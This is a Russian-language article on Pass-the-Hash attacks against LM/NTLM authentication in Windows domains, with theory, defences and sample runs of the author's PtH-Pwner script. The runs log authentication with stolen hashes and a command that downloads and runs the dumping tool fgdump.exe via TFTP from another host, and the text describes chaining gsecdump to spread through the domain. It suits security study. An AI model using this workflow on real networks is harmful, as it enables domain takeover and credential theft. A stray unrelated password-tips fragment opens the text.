от взлома хешей.

1. Чем длиннее и сложнее пароль тем лучше,
правило по умолчанию.

2. Надо заставить пользователей чаще
менять пароли:

3. Предложите использовать фразы вместо
пароля. Согласитесь, что запомнить @3*()!b&
труднее, чем "Я живу в Москве". К тому же
использование фраз обезопасит от перебора,
ибо брутфорсом в приемлемые сроки никакой
пароль не сломать.

Пароли для защиты сети необходимы, однако
не все пароли одинаково полезны. Системному
администратору необходимо следить за
применением различных средств
аутентификации и объяснять пользователям
полезность длинных паролей и периодической
их смены.

Опыт проведения аудита в крупных корпоративных сетях наглядно показывает: по состоянию на конец 2008 года даже старый LanManager кое-где еще живее всех живых.

О проблемах безопасности протоколов LM/NTLM сказано немало. Поэтому для того, чтобы в очередной раз поднимать эту тему, нужны некоторые причины. И такие причины есть. Во-первых, опыт проведения аудита в крупных корпоративных сетях наглядно показывает: по состоянию на конец 2008 года даже старый LanManager кое-где еще живее всех живых. Иными словами, данная статья, как и приведенная в статье утилита, никогда не были бы написаны, если бы их актуальность не была подтверждена регулярной практикой. Вторая причина является следствием первой и заключается в регулярном появлении на известных конференциях по безопасности (BlackHat, Defcon) материалов на заданную тематику, как и различного вида программных средств для проведения атак на NTLM-хэши. Поэтому скептикам, приготовившим аргумент в виде слова "Kerberos", рекомендуется глубоко вдохнуть и пойти проверить свою Windows-сеть на наличие описываемых проблем.

Немного скучной теории. Аутентификация и пароли

Чтобы понять, какую роль протокол NTLM играет в аутентификационном процессе на Windows-машине, рассмотрим, что же происходит после нажатия заветной комбинации Ctrl+Alt+Delete во время интерактивного входа в систему. Процесс Winlogon, а точнее, графическая библиотека GINA (Graphical Identification and Authentication) принимает введенные пользователем аутентификационные данные (имя пользователя и пароль, PIN-код от смарт-карты и т.п.) и инициирует обращение в LSA (Local Security Authority). В случае осуществления локального входа, LSA выполняет обращение в локальную SAM-базу для аутентификации пользователя и возвращает процессу Winlogon токен доступа. После этого, в случае успешной аутентификации, пользователь получает доступ к графической оболочке.
В случае использования доменной структуры пользователя аутентифицирует не локальная LSA, а LSA на контроллере домена, хранящего учетные записи доменных пользователей в Active Directory. Для удаленного взаимодействия этих подсистем (т.е. для аутентификации пользователя или компьютера по сети) используются т.н. аутентификационные пакеты (authentication package), реализующие различные протоколы аутентификации. Таковых всего два: NTLM (библиотека MSV1_0.dll) и Kerberos (библиотека Kerberos.dll). Начиная с Windows 2000, для совершения процедуры доменной аутентификации по умолчанию используется протокол Kerberos (строго говоря, начиная с Windows 2000 LSA по умолчанию выбирает пакет Kerberos вне зависимости от вида входа в систему, но этот аутентификационный пакет не умеет выполнять локальную аутентификацию, и в случае локального входа выполняется fallback на NTLM для обращения к SAM-базе с хэшами паролей).

В Windows штатно присутствует три механизма удаленной аутентификации, реализованных в аутентификационных пакетах NTLM и Kerberos, о которых сказано выше. Это LM/NTLM challenge-response, NTLMv2 challenge-response и Kerberos. Недостатки первых двух также общеизвестны: для аутентификации доменным пользователем совершенно необязательно иметь его пароль, так как в процедуре аутентификации используется только хэш пароля учетной записи пользователя. Именно на этом свойстве протокола построены атаки вида Pass-the-Hash, первое упоминание о которых датируется аж 1997 годом.

Зачем мне все это в 2008 году?

Наконец, мы подходим к главной причине, по которой в этой статье собраны материалы более чем десятилетней практики security-сообщества, и имя ей – обратная совместимость. Так, только лишь в Windows Vista / Windows Server 2008 генерация LM-хэшей по умолчанию отключена (опция NoLmHash в разделе реестра HKLM\SYSTEM\CurrentControlSet\Control\Lsa), все предыдущие версии ОС, включая самый распространенный на сегодняшний день в корпоративной среде Windows Server 2003, по умолчанию генерируют и хранят LM-хэши для паролей, длина которых меньше 14 символов. Однако это не самое страшное. Гораздо более неприятен следующий факт: не смотря на то, что все серверные версии Windows, начиная с Server 2000, по умолчанию используют Kerberos для удаленной аутентификации пользователя или ресурса, протокол LM/NTLM challenge-response все еще поддерживается и может быть использован, если клиент инициирует такое соединение. За эту поддержку отвечает ключ реестра LmCompatibilityLevel в разделе реестра HKLM\SYSTEM\CurrentControlSet\Control\Lsa, который может принимать целочисленное значение от 0 до 5. В Windows Server 2003 этот параметр по умолчанию имеет значение 2, в Windows Vista / Server 2003 – 3, и для контроллера домена означает возможность использования клиентом LM/NTLM или NTLMv2 challenge-response протокола для удаленной аутентификации.

Неудивительно, что в настоящее время широко распространены утилиты для «игр» с NTLM-хэшами, а сама задача получения хэша является более чем актуальной. Еще бы, ведь даже в сети, построенной на самой современной на текущий день серверной платформе Windows Server 2008, получение хотя бы одного хэша учетной записи, обладающей административными правами на каком-либо сервере, может привести к получению удаленного административного доступа к контроллеру домена, а значит, и ко всем серверам и рабочим станциям в домене. Этому способствует сильная связанность в корпоративных сетях: опыт проведения аудитов показывает, что ситуация, при которой обнаруженная на одном сервере учетная запись подойдет, по крайней мере, на еще один сервер, является более чем типичной. Получив, таким образом, доступ к новому серверу и сняв с него новые хэши паролей, есть большая вероятность инициировать лавинный процесс, который рано или поздно приведет к получению искомого: учетной записи администратора домена. При этом стоит отметить, что стойкость пароля не имеет никакого значения, ведь ничего не нужно расшифровывать – ни с помощью Rainbow-таблиц, ни «грубой силой».

Как получить хэши?

В «чистом виде» хэши можно получить следующими способами:
- Из AD-хранилища (в случае контроллера домена);
- Из локальной SAM-базы;
- Из кэша LSA, во время активной сессии пользователя.

PtH-Pwner

Скрипт функционирует под ОС Linux и может работать в двух режимах. В первом он принимает в качестве аргументов имя пользователя (локального или доменного), хэш его пароля и адрес сервера (или подсети). Опционально может быть указан файл, в котором построчно указаны команды для выполнения на сервере (по умолчанию выполняется команда ipconfig), список хостов также может быть указан в файле и передан в качестве аргумента. После запуска утилита пытается аутентифицироваться переданным хэшем на указанных серверах и выполнить заданную команду.

$ ./pth-pwner -u CORP\\domadmin -s 64DFE7. F74F9B:ADF5F3. 6BB49AD2 -h 10.11.0.6

[+] PtH-Pwner v. 1.0 (Aug 2008)

Running with the following credentials:
Username to login: domadmin
Domain: CORP
SMBHASH to use: 64DFE7. F74F9B:ADF5F3. 6BB49AD2
Host/Subnet to scan: 10.11.0.6
Command to execute: ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection 2:

Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 10.11.0.6
Subnet Mask . . . . . . . . . . . : 255.255.254.0
Default Gateway . . . . . . . . . : 10.11.0.7
10.11.0.6 [CORP]: SUCCESS!

All done. 1 scanned, 1 succeeded

$ ./pth-pwner.sh -u LocAdmin -s 64DFE71. F74F9B:ADF5. 116BB49AD2 -f hosts.txt -c commands.txt

[+] PtH-Pwner v. 1.0 (Aug 2008)

Running with the following credentials:
Username to login: LocAdmin
SMBHASH to use: 64DFE71. F74F9B:ADF5. 116BB49AD2
Reading hosts from hosts.txt
Reading commands from commands.txt

[+] attacking 10.11.0.11
>>>>>>>> attempting to execute [tftp -i 10.11.0.141 GET fgdump.exe] on 10.11.0.11
Transfer successful: 974848 bytes in 1 second, 974848 bytes/s
10.11.0.11 [SERV11]: executing [tftp -i 10.11.0.141 GET fgdump.exe] -> SUCCESS!
[+] attacking 10.11.0.20
>>>>>>>> attempting to execute [tftp -i 10.11.0.141 GET fgdump.exe] on 10.11.0.20
Transfer successful: 974848 bytes in 1 second, 974848 bytes/s
10.11.0.20 [SERV20]: executing [tftp -i 10.11.0.141 GET fgdump.exe] -> SUCCESS!
.

Для еще большей автоматизации процесса можно воспользоваться вторым режимом работы скрипта. Предположим, у нас есть результат работы утилиты gsecdump.exe с какого-либо сервера. Передав при помощи ключа -g на вход скрипту вместо одного NTLM-хэша файл с хэшами в формате gsecdump, мы заставим его проверить каждую присутствующую в файле запись на возможность аутентификации на заданных хостах. Очевидно, что, передав в качестве команды закачивание и выполнение на скомпрометированных хостах утилиты gsecdump.exe, мы можем инициировать тот самый лавинный эффект, который приведет к взлому все большего и большего количества хостов на каждой итерации.

Как защититься?

Очевидно, что никакая парольная политика от описанных атак не спасет, так пароль не подвергается расшифровке, а значит, его стойкость не имеет никакого значения. Переход на двухфакторные методы аутентификации, как ни странно, тоже не исправит ситуацию. NTLM слишком «глубоко вшит» в систему и отключить его полностью не представляется возможным. Так, в Windows 2000 при переходе на аутентификацию по смарт-картам хэш пароля все равно хранится в базе без изменений. В Windows 2003 пароль меняется на случайную последовательность, но, как сказано выше, роли это никакой не играет.

Все типовые рекомендации (отключение хранения LM-хэшей на серверах и рабочих станциях, выставление параметра LmCompatibilityLevel в максимально возможное значение, отключение локального хранения кэшированных аккаунтов и последующая очистка кэша и т.п.) не являются панацеей от проблемы.

В какой-то степени помочь может принудительное шифрование трафика и аутентификация хостов с помощью IPSec, для невозможности использования хэша с недоверенных систем. Для этого необходимо настроить соответствующие политики на контроллере домена.

Выводы

Алгоритм LanManager (LM) был разработан в начале 90-х годов прошлого века. Операционная система Windows Server 2003 вышла тринадцать лет спустя. И тем не менее, в ней все еще хранились пароли пользователей, зашифрованные с применением этого алгоритма. Виновницей данного факта, как и того, что описанные в статье атаки далеко не первой свежести отлично работают в современных Windows-сетях, является она - та, которая вызывает скрип зубов у разработчиков и крики отчаяния пользователей. Имя ей - backward compatibility.

Читайте также: